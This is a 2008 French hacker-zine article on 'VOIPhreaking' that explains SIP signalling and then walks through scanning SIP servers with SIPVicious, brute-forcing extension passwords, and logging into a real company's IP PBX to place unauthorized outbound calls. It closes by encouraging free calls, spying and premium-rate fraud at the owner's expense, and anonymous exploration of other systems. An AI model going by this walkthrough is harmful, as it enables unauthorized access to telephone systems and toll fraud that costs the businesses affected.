--------------------------------------------------------------------------------
|VOIPhreaking : 4 phun and prophit - duality - duality.vagabond[at]gmail[dot]com |
 --------------------------------------------------------------------------------


---------------------------------------------------------------------------------


                               -%!% VOIPHreaking %!%-
							   
                                       (((     "voipvoip!"
                                      (. .)    
                                     (( v ))   
                                    ---m-m---

Auteur : duality -- 21/06/08
Zine : Rafale #10

Table des matieres:
~~~~~~~~~~~~~~~~~~~
1.0 : Introduction
2.0 : Bases de la VOIP
	2.1 - Generalités.
	2.2 - Les protocoles utilisés.
3.0 : Détournement
	3.1 - Scanning & extensions cracking.
	3.2 - Exemple de VOIPhreaking.
	3.3 - Et alors ?
4.0 : Outro & greets


                         -%!% scientia potentia est %!%-
						 
---------------------------------------------------------------------------------
	
	
 1.0 : Introduction
 ------------------
 
Les temps changent, le PBX tant convoité par le phreaker laisse place au IPBX. 
Place à la nouvelle génération bien plus informatisée, mais aussi bien plus 
documentée. 
La VOIP, ou Voice Over IP, c’est décidément le futur du phreaking, en France ou
même ailleurs :). Le fait est que en France on est un peu à la masse, du moins 
je ne vois pas qu’ici bas ce domaine intéresse du monde. Et pourtant c’est 
intéressant, simple, et phun. C’est peut être le moyen de réconforter les 
non-phreakers avec le phreaking :). Dans ce paper je vais vous détailler un peu
les bases du VOIPhreaking histoire que vous fassiez vos premières armes dans ce 
domaine. Rien ne transcedant mais c'est déjà un premier pas dans le domaine. 
Ainsi vous aurez surement à la fin de ce paper une idée quant aux possibilités 
que ce domaine offre.

Maitriser les technologies de nos jours est avantage indéniable à la survie.



2.0 : Bases de la VOIP
----------------------

	2.1 - Generalités.
	------------------
	
Si vous n’avez pas squatté des cavernes ces derniers temps vous avez surement 
aperçus une technologie en pleine expansion : la VOIP ou Voice Over Internet 
Protocol. Grace à 
cette technologie la voix est à présent véhiculée sur le réseau internet sous 
formes de paquets, et non plus sur un circuit commuté comme c’est le cas dans 
notre bonne vieille téléphonie classique. Basiquement le signal audio qui est 
capté grâce à un microphone va être converti en signal numérique (généralement
par une carte CAN intégrée). Pour que la transmission soit plus rapide le 
signal sera compressé par un codec. Puis le tout est envoyer à l’interlocuteur
(ex: mémé) qui fera donc l’opération inverse pour entendre votre signal audio :
décompression et reconstitution du signal analogique,possible grâce à un CNA 
(Convertisseur numérique analogique).

	2.2 - Les protocoles utilisés.
	------------------------------
	
Les premières technologies de VoIP imaginées étaient des solutions 
propriétaires et donc très différentes les unes des autres. Pourtant un système 
qui est censé mettre des gens et des systèmes en relation exige une certaine 
’standardisation’. Et c’est pourquoi sont apparus par le suite des protocoles 
standards, comme le H323 ou le SIP.

- H323 :

Ce protocole existe depuis 96, il est utilisé par quelques équipement CISCO et
le logiciel Netmeeting de Micro$oft. Ce protocole va permettre de faire 
transiter voix et vidéos sur le réseau :). Voilà de la doc :

http://fr.wikipedia.org/wiki/H.323

Suivez les liens donnés en fin de page.

- IAX :

Le protocole IAX (pour Inter-Asterisk eXchange protocol) a été crée pour le 
contrôle et la transmission de donnée voip entre des serveurs de type Asterisk
(Asterisk est un PABX open source). Mais de nos jours il est aussi utilisé 
entre des clients/serveurs qui supporte ce protocole (et qui ne sont donc pas 
forcement des serveurs Asterisk).

http://www.voip-info.org/wiki-IAX

- SIP :

Le protocole SIP (Session Initiation Protocole) est un proto de 
télécommunication permettant de faire transiter du son de l’image etc sur le 
réseau. C’est LE protocole le plus utilisé en ce qui concerne la VOIP, donc on 
va s’attarder un peu dessus.

Si on sniff une communication SIP on peut constater que ce protocole a des 
similitudes avec le proto HTTP.

INVITE : permet de demander une nouvelle session de communication.
ACK : Permet de confirmer l’établissement de celle-ci.
CANCEL : Pour refuser l’INVITE.
BYE : Bah... pour terminer la communication :}

Les codes réponses sont comme pour le HTTP :
404 : Not Found
100 : Trying
200 : OK

Puis d’autres codes spécifiques à SIP :
180 : Ringing
486 : Busy

http://www.voip-info.org/wiki/view/SIP+response+codes

Donc lors d’une communication chacun des individus va jouer au niveau des 
requêtes à la fois le rôle d’un serveur mais aussi d’un client. Voilà un 
exemple de communication :

Ici Trolleur invite DBancal à communiquer :

    INVITE
    sip:DBancal@z4t4z.com
    SIP/2.0
    Via: SIP/2.0/UDP 10.20.30.40:5060
    From: Trolleur ;tag=314159
    To: DBancal 
    Call-ID: 6969696969@desbois.com
    CSeq: Numéro de séquence du message INVITE
    Contact: 
    Content-Type: application/sdp
    Content-Length: lataille

    v=0
    o=Trolleur 2890844526 2890844526 IN IP4 10.20.30.40
    s=Session SDP
    c=IN IP4 10.20.30.40
    t=3034423619 0
    m=audio 49170 RTP/AVP 0
    a=rtpmap:0 PCMU/8000

A la fin de la requête se trouver les codecs supportés par l’utilisateur 
Trolleur.
DBancal confirme à présent avoir reçu l’invitation :

    SIP/2.0
    100 Trying
    From: DBancal ;tag=589304
    To: Trolleur 
    Call-ID: 1111111111@zataz.com
    CSeq: Numéro de séquence du message INVITE
    Content-Length: 0

Le phone sonne, donc DBancal envoie tant que celui ci n’a pas décroché :

    SIP/2.0
    180 Ringing
    From: DBancal ;tag=589304
    To: Trolleur ;tag=314159
    Call-ID: 1111111111@zataz.com
    CSeq: Numéro de séquence du message INVITE
    Content Length: 0

...Ça sonne...Ah ça y est DBancal décroche.

DBancal envoie donc “OK”...

    SIP/2.0
    200 OK
    From: DBancal ;tag=589304
    To: Trolleur ;tag=314159
    Call-ID: 1111111111@zataz.com
    CSeq: Numéro de séquence du message INVITE
    Contact: 
    Content-Type: application/sdp
    Content-Length: taille

    v=0
    o=DBancal 2890844527 2890844527 IN IP4 10.20.30.41
    s=Session SDP
    c=IN IP4 10.20.30.41
    t=3034423619 0
    m=audio 3456 RTP/AVP 0
    a=rtpmap:0 PCMU/8000

A la fin du paquet se trouve les codecs supportés par les deux utilisateurs. 
Par la suite Trolleur confirme le tout :

    ACK
    sip:DBancal@z4t4z.com SIP/2.0
    Via: SIP/2.0/UDP 10.20.30.41:5060
    Route: 
    From: Trolleur ;tag=314159
    To: DBancal ;tag=589304
    Call-ID: 6969696969@desbois.com
    CSeq: Numéro de séquence du message ACK
    Content-Length: 0

Voilà à présent la communication est bien établie, Trolleur insulte DBancal.
Puis Trolleur raccroche :

    BYE
    sip:DBancal@z4t4z.com SIP/2.0
    Via: SIP/2.0/UDP 10.20.30.41:5060
    To: DBancal ;tag=589304
    From: Trolleur ;tag=314159
    Call-ID: 6969696969@desbois.com
    CSeq: Numéro de séquence du message BYE
    Content-Length: 0

Chose que DBancal confirme par un “OK” :

    SIP/2.0
    200 OK
    To: Trolleur ;tag=314159
    From: DBancal ;tag=589304
    Call-ID: 1111111111@zataz.com
    CSeq: Numéro de séquence du message BYE
    Content-Length: 0

Ainsi se passe une communication classique. On ne l’a pas vu lors de cet 
exemple mais il existe d’autres codes messages tels que :

CANCEL : qui permet d’annuler un appel qui n’a pas été OK’ed.
REGISTER :
La méthode REGISTER du protocole SIP est utilisée pour l’enregistrement des
équipements mobiles, principalement ceux obtenant leur adresse IP via un proto
dynamique comme DHCP. 
En règle générale on l’utilise pour les téléphones. Le REGISTER ne sera pas 
utiliser lorsque l’on route les sessions SIP vers des destinations connues 
(adresse IP et port UDP ou TCP).

Un peu plus de détails sur les champs utilisés aussi :
-------------------------------------------------------------------------------
From : désigne celui qui envoie la requête SIP.
To : le destinataire.
Contact : la vrai adresse de l’utilisateur en question.
Call-ID : Un numéro qui identifiera l’appel histoire de se repérer et de ne pas 
raccrocher n’importe quel appel..
CSeq : Numéro de séquence du message. Incrémenté pour chaque nouvelle requête 
dans un dialogue.
Content-Type : le type MIME du payload.
Content-Length : taille du payload (payload étant ce qui se trouve a la fin du 
paquet)
-------------------------------------------------------------------------------


3.0 : Détournement
------------------

Comme toute technologie la VOIP peut être detournée à notre avantage. Voyons ce 
qui est donc possible...

	3.1 - Scanning & extensions cracking
	------------------------------------
	
Le scan de serveurs SIP peut se faire avec des outils classiques tels que 
netcat ou nmap. Il suffit alors de scanner une rangée d’IP et de tester par 
exemple le port 5060. Mais des outils tels que SIPVicious sont plus 
intéressants. En effet SIPVicious est un toolkit (ensemble d’outils) destiné au
hacking de serveurs SIP.

http://sipvicious.org/

svmap.py : va permettre de scanner des adresses IP à la recherche de serveurs.
svwar.py : va permettre de lister les comptes utilisateurs présent (extensions).
svcrack.py : de cracker le pass des ces extensions.

---------------8<--cutcut------------------------------------------------------
Usage: svmap.py [options] host1 host2 hostrange
examples:
svmap.py 10.0.0.1-10.0.0.255 \
> 172.16.131.1 sipvicious.org/22 10.0.1.1/24 \
> 1.1.1.1-20 1.1.2-20.* 4.1.*.*
svmap.py -s session1 –randomize 10.0.0.1/8
svmap.py –resume session1 -v
svmap.py -p5060-5062 10.0.0.3-20 -m INVITE

Options:
–version show program’s version number and exit
-h, –help show this help message and exit
-v, –verbose Increase verbosity
-q, –quiet Quiet mode
-s NAME, –save=NAME save the session. Has the benefit of allowing you to
resume a previous scan and allows you to export scans
–resume=NAME resume a previous scan
–randomscan Scan random IP addresses
-i scan1, –input=scan1
Scan IPs which were found in a previous scan. Pass the
session name as the argument
-p PORT, –port=PORT Destination port or port ranges of the SIP device - eg
-p5060,5061,8000-8100
-P PORT, –localport=PORT
Source port for our packets
-x IP, –externalip=IP
IP Address to use as the external ip. Specify this if
you have multiple interfaces or if you are behind NAT
-b BINDINGIP, –bindingip=BINDINGIP
By default we bind to all interfaces. This option
overrides that and binds to the specified ip address
-t SELECTTIME, –timeout=SELECTTIME
Timeout for the select() function. Change this if
you’re losing packets
-c, –enablecompact enable compact mode. Makes packets smaller but
possibly less compatable
-m METHOD, –method=METHOD
Specify the request method - by default this is
OPTIONS.
-R, –reportback Send the author an exception traceback. Currently
sends the command line parameters and the traceback
–randomize Randomize scanning instead of scanning consecutive ip
addresses
---------------8<--cutcut------------------------------------------------------


Le résultat d’un scan se présentera sous cette forme :

| SIP Device | User Agent | Fingerprint |
-----------------------------------------
| 91.121.114.28:5060 | Asterisk PBX | Asterisk / Linksys/PAP2T-3.1.15(LS) |
(...)

Par la suite prenons une IP dans ce résultat de scan :

svwar.py ip.ip.ip.ip
| Extension | Authentication |
------------------------------
| 400 | reqauth |
| 510 | reqauth |
| 100 | reqauth |
| 106 | reqauth |
| 530 | reqauth |
| 104 | reqauth |
| 105 | reqauth |

On constate que toutes les extensions ici neccessitent une authentification. Il
se peut que parfois certain extensions ne requièrent pas de mdp. Ok, donc 
tentons un petit bruteforce sur le user 400 :

svcrack.py ip.ip.ip.ip -u 400
WARNING:root:found nothing

Dommage, svcrack n’a rien trouvé.
Mais si on test sur une autres extension :

svcrack.py ip.ip.ip.ip -u 105
| Extension | Password |
------------------------
| 105 | 105 |

Magie :}
A noter que svcrack va seulement faire un bf du type 000->999

	3.2 - Exemple de VOIPhreaking.
	------------------------------
	
Prenons par exemple ce serveur SIP , 1.2.3.4. Qui appartient à une certaines 
société FR (ip censurée bien sûr, au cas où...).

svwar.py 1.2.3.4
| Extension | Authentication |
------------------------------
| 200 | reqauth |
| 900 | reqauth |
| 300 | reqauth |
| 310 | reqauth |
| 520 | reqauth |
| 500 | reqauth |
| 400 | reqauth |
| 510 | reqauth |
| 100 | reqauth |
| 106 | reqauth |
| 530 | reqauth |
| 104 | reqauth |
| 105 | reqauth |

svcrack.py 1.2.3.4 -u 200
WARNING:root:found nothing

svcrack.py 1.2.3.4 -u 900
| Extension | Password |
————————————————————————
| 900       | 900      |

On vient donc de récuperer un couple login:passwd pour se connecter au serveur
SIP. On peut alors utiliser un softphone tel que X-Lite pour s’y connecter :
http://www.counterpath.com/13

J’ai verifié par whois/tracert que le serveur se trouver bien en France. Cette 
verification est utile car si le serveur se trouve ailleurs et que l’on désire 
faire un outdial il nous faudra le country code, voici une liste utile :

    Afghanistan +93
    Albania +355
    Algeria +213
    American Samoa +1-684, +684
    Andorra +376
    Angola +244
    Anguilla +1-264
    Antigua and Barbuda +1-268
    Argentina +54
    Armenia +374
    Aruba +297
    Ascension Island +247
    Australia +61
    Australian External Territories +672
    Austria +43
    Azerbaijan +994
    Bahamas +1-242
    Bahrain +973
    Bangladesh +880
    Barbados +1-246
    Belarus +375
    Belgium +32
    Belize +501
    Benin +229
    Bermuda +1-441
    Bhutan +975
    Bolivia +591
    Bosnia and Herzegovina +387
    Botswana +267
    Brazil +55
    British Virgin Islands +1-284
    Brunei Darussalam +673
    Bulgaria +359
    Burkina Faso +226
    Burundi +257
    Cambodia +855
    Cameroon +237
    Cape Verde +238
    Cayman Islands +1-345
    Central African Republic +236
    Chad +235
    Chile +56
    China +86
    Colombia +57
    Comoros +269
    Congo +242
    Cook Islands +682
    Costa Rica +506
    Cote d’Ivoire +225
    Croatia +385
    Cuba +53
    Cyprus +357
    Czech Republic +420
    Democratic People’s Republic of Korea +850
    Democratic Republic of the Congo +243
    Denmark +45
    Diego Garcia +246
    Djibouti +253
    Dominica +1-767
    Dominican Republic +1-809, +1-829
    East Timor +670
    Ecuador +593
    Egypt +20
    El Salvador +503
    Equatorial Guinea +240
    Eritrea +291
    Estonia +372
    Ethiopia +251
    Falkland Islands +500
    Faroe Islands +298
    Federated States of Micronesia +691
    Fiji +679
    Finland +358
    France +33
    French Guiana +594
    French Polynesia +689
    Gabon +241
    Gambia +220
    Georgia +995
    Germany +49
    Ghana +233
    Gibraltar +350
    Greece +30
    Greenland +299
    Grenada +1-473
    Guadeloupe +590
    Guam +1-671
    Guatemala +502
    Guinea +224
    Guinea-Bissau +245
    Guyana +592
    Haiti +509
    Honduras +504
    Hong Kong +852
    Hungary +36
    Iceland +354
    India +91
    Indonesia +62
    Iran +98
    Iraq +964
    Ireland +353
    Israel +972
    Italy +39
    Jamaica +1-876
    Japan +81
    Jordan +962
    Kazakhstan +7
    Kenya +254
    Kiribati +686
    Kuwait +965
    Kyrgyzstan +996
    Laos +856
    Latvia +371
    Lebanon +961
    Lesotho +266
    Liberia +231
    Libya +218
    Liechtenstein +423
    Lithuania +370
    Luxembourg +352
    Macau +853
    Macedonia +389
    Madagascar +261
    Malawi +265
    Malaysia +60
    Maldives +960
    Mali +223
    Malta +356
    Marshall Islands +692
    Martinique +596
    Mauritania +222
    Mauritius +230
    Mayotte +269
    Mexico +52
    Moldova +373
    Monaco +377
    Mongolia +976
    Montserrat +1-664
    Morocco +212
    Mozambique +258
    Myanmar +95
    Namibia +264
    Nauru +674
    Nepal +977
    Netherlands +31
    Netherlands Antilles +599
    New Caledonia +687
    New Zealand +64
    Nicaragua +505
    Niger +227
    Nigeria +234
    Niue +683
    Northern Mariana Islands +1-670
    Norway +47
    Oman +968
    Pakistan +92
    Palau +680
    Panama +507
    Papua New Guinea +675
    Paraguay +595
    Peru +51
    Philippines +63
    Poland +48
    Portugal +351
    Puerto Rico +1-787, +1-939
    Qatar +974
    Republic of Korea +82
    Reunion +262
    Romania +40
    Russia +7
    Rwanda +250
    Samoa +685
    San Marino +378
    Sao Tome and Principe +239
    Saudi Arabia +966
    Senegal +221
    Seychelles +248
    Sierra Leone +232
    Singapore +65
    Slovakia +421
    Slovenia +386
    Solomon Islands +677
    Somalia +252
    South Africa +27
    Spain +34
    Sri Lanka +94
    St. Helena +290
    St. Kitts and Nevis +1-869
    St. Lucia +1-758
    St. Pierre and Miquelon +508
    St. Vincent and the Grenadines +1-784
    Sudan +249
    Suriname +597
    Swaziland +268
    Sweden +46
    Switzerland +41
    Syria +963
    Taiwan +886
    Tajikistan +992
    Tanzania +255
    Thailand +66
    Togo +228
    Tokelau +690
    Tonga +676
    Trinidad and Tobago +1-868
    Tunisia +216
    Turkey +90
    Turkmenistan +993
    Turks and Caicos Islands +1-649
    Tuvalu +688
    US Virgin Islands +1-340
    Uganda +256
    Ukraine +380
    United Arab Emirates +971
    United Kingdom +44
    Uruguay +598
    Uzbekistan +998
    Vanuatu +678
    Vatican +379
    Venezuela +58
    Vietnam +84
    Wallis and Futuna Islands +681
    Yemen +967
    Yugoslavia +381
    Zambia +260
    Zimbabwe +263

Ok donc notre cas on aura pas besoin du code pays. On va juste tenter de faire
un outdial (appel vers l’exterieur) à partir du serveur en question. D’ailleurs
sur ce serveur j’ai vu qu’on peut accéder à des boxs internes de la société, 
par exemple en appellant 0000 puis on nous demande le mot de passe j’ai testé 
0000 puis 1234 et le mdp est apparemment 1234. Mais quand j’ai tenté cela, 
apres la confirmation que le code était bon j’ai eu un : “toutes les lignes 
sont occupés”. Et apparement elles le sont même la nuit, donc ca doit venir 
d'une mauvaise config.

Après de nombreux tests sur ce serveur j’ai trouvé comment passer un outdial, 
il suffit de faire : 00+le numéro sans le zéro du début, par exemple si vous 
désirez appeler : 0178766600->00+178766600 et le tour est joué. Sans doute une
histoire d’exit code... En tout cas : IPBX vaincue :}

Pour appeller en france depuis l’étranger il y a differentes combinaisons..
Par exemple si vous etes aux US, il faut composer au début 011 (US exit code), 
suivie du code pays (voir ci dessus), et du numero à appeller.

Encore une petite liste à imprimer (liste des exit codes) :
http://www.howtocallabroad.com/codes.html

	3.3 - Et alors ?
	----------------
	
Qu’est ce qu’on peut faire donc? Hey, telephoner gratuitement etc.. Vous 
connecter à un AP wifi non/mal protegé, scanner, telephoner gratuitement,
espionner, etc... aux frais de ceux qui dirigent l’IPBX squatté... 
D’ailleurs dans le Rafale #9 le défunt Taskforce parlait de se faire du $$$ en
cambriolant une baraque et en la beige-boxant passer des appels ALLOPASS pour 
récuperer les codes, puis donc par la suite la money. Mais s’introduire dans 
une maison ou dans une proprieté n’est pas forcement facile comparer au 
wardriving qui est de nos jours très facile. Cependant certains administrateurs
d'IPBX posent un contrôle par mot de passe si le numéro appellé est en 08,
mais là aussi les pass choisis ne sont que très peu fiables, en ce qui concerne
le serveur que j'avais ciblé ici dans cet article, le pass était 1234 :).

Pour d'autres passwd qui reviennent souvent je vous renvoie au :
"E-LaTex Magic Trick no.4 : Charte, code de porte" écrit par Taskforce, et qui
a été publié dans le Rafale #8. Les codes presentés dans cet article sont aussi
ceux que l'on pourra retrouver au détour d'un IPBX.

Et comme on dit, la seul limite est celle de votre imagination :}

Have phun.

4.0 : Outro
-----------

Voilà cet article touche à sa fin. Les bases sont posées. A vous d’aller plus 
loin. N’hésitez pas à explorer les IPBX de fond en comble, à les utiliser en 
toute liberté mais sous anonymat ...[wifi?] Il y a tant de choses encore à 
voir...

Greets to : Dg-Sc, Rafale, w0rm, et ceux qui me reconnaitront :)